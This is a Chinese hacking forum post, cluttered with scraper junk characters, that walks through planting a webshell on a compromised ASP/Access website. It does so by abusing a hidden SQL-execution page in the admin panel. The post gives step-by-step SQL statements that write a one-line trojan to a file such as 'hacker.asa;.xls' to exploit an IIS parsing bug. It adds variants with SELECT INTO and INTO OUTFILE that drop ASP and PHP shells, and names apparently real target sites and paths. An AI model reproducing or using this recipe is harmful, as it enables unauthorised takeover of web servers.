好不容易进了后台，发现啥上传啊。备份啊多木有。8 E% z! Z/ m9 \" Y0 u+ [' R
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
$ }! c& r# i, m9 c5 V文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，
S4 k' H5 j$ Y# p2 L' o然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：1 p+ K9 k! ]. q; H5 q# @) \" K
1.create table cmd (a varchar(50))
. @# F( h2 X* Z, o [' K- a2.insert into cmd (a) values (‘‘)
) E4 D, z3 {' i( [3 Q5 K N3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd8 W! y5 i2 U* \
(把表cmd的内容导出为物理路径的一个EXCEL文件)
M0 H( N* m/ {( J- ~4.drop table cmd
5 `% Y6 q4 L$ D. H! i" Z& B利用IIS的BUG成功拿到了WEBSHELL。
- |7 o6 r0 E: B5 F' i- V' C: K) ]% F4 {4 M% ?- _$ t
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话$ _2 g7 N( M; y+ ^9 Y) m" `
7 a' C* n U, g e7 w6 X4 \ SQL语句意思解释：% c* X+ r) N( G, w3 u. [: A0 h
第一句
, z7 E5 C1 V# }( K3 F 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50/ V3 S0 ^' z: f
% w' F3 d. Q' c2 H% _7 K4 q 第二句! C( r. g% Z* A% |
在表cmd的a字段插入一句话木马. S/ V( {" X7 R( [/ U
第三句, x9 l j' V" {8 e( h
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
7 z( k& f3 k: W$ h1 W% e/ w( g0 I! C/ H. P+ X0 @2 n1 T" u" M. K
第四句' d0 l! }% l1 B# {- [
删除建立的cmd表8 i* i# h& l6 N
5 H- z& R" X K8 }! Z3 A- U
以下内容为测试：
( Y* z) N( T% J/ J4 ` Access利用后台SQL执行命令功能导出WebShell:3 I$ O8 d" V( `
这个更简单：" t) s; L4 c: {3 c; x
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
& G8 o+ ~/ q- f; }! P 或者! N A$ A7 C2 b2 k8 l" }0 ]
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]7 a/ ^) x0 d# u6 W- D" b/ g
' p" ~) ?: n3 b; d& ?) b 后台有执行SQL语句功能(vote为已知表段)
4 z" p+ |1 [; I 希望对大家有所帮助拿shell的又一个思路0 B: G K3 C- k& F
|
发表于 2012-9-13 17:53:58
收藏
支持
反对